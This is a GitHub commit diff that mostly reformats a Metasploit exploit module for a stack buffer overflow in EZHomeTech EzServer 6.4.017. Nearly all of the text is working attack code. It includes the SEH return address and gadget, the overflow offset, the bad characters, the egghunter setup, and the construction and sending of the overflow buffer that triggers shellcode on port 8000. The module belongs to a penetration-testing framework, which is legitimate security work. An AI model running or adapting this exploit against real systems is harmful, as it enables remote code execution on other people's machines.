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minor fixes

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1 parent 10bd72f commit 2df237b0667f0340ab94a6f885e4ae69f7ade296 jvazquez-r7 committed Jun 18, 2012
Showing with 22 additions and 24 deletions.
  1. +22 −24 modules/exploits/windows/http/ezserver_http.rb
@@ -13,22 +13,21 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Seh
-
+
def initialize(info = {})
super(update_info(info,
- 'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
- 'Description' => %q{
- This module exploits a stack buffer overflow in the EZHomeTech EZServer.
- If a malicious user sends packets containing an overly long string,
- it may be possible to execute a payload remotely.
- Due to size constraints, this module uses the Egghunter technique.
+ 'Name' => 'EZHomeTech EzServer <= 6.4.017 Stack Buffer Overflow Vulnerability',
+ 'Description' => %q{
+ This module exploits a stack buffer overflow in the EZHomeTech EZServer. If a malicious
+ user sends packets containing an overly long string, it may be possible to execute a
+ payload remotely. Due to size constraints, this module uses the Egghunter technique.
},
- 'License' => MSF_LICENSE,
- 'Author' =>
+ 'License' => MSF_LICENSE,
+ 'Author' =>
[
- 'modpr0be<modpr0be@spentera.com>', # Original discovery, MSF Module
+ 'modpr0be<modpr0be@spentera.com>', # Original discovery and Metasploit module
],
- 'References' =>
+ 'References' =>
[
[ 'EDB', '19266' ],
[ 'URL', 'http://www.spentera.com/2012/06/ezhometech-ezserver-6-4-017-stack-overflow-vulnerability/' ],
@@ -37,25 +36,24 @@ def initialize(info = {})
{
'ExitFunction' => 'seh',
},
- 'Platform' => 'win',
- 'Payload' =>
+ 'Platform' => 'win',
+ 'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x20\x2e\x2f\x3a",
'DisableNops' => true,
},
-
- 'Targets' =>
+ 'Targets' =>
[
[ 'EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)',
{
- 'Ret' => 0x10212779,
- 'Offset' => 5852
+ 'Ret' => 0x10212779, # pop ecx # pop ebx # ret 4 - msvcrtd.dll
+ 'Offset' => 5852
}
- ], # pop ecx # pop ebx # ret 4 - msvcrtd.dll
+ ],
],
- 'Privileged' => false,
- 'DisclosureDate' => 'Jun 18 2012',
- 'DefaultTarget' => 0))
+ 'Privileged' => false,
+ 'DisclosureDate' => 'Jun 18 2012',
+ 'DefaultTarget' => 0))
register_options([Opt::RPORT(8000)], self.class)
@@ -68,9 +66,9 @@ def exploit
:checksum => true,
:eggtag => "w00t"
}
-
+
hunter = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
- egg = hunter[1]
+ egg = hunter[1]
buff = rand_text(target['Offset'] - egg.length) #junk
buff << egg
buff << make_nops(32)
@@ -81,7 +79,7 @@ def exploit
print_status("Triggering shellcode now...")
print_status("Please be patient, the egghunter may take a while..")
-
+
sock.put(buff)
handler

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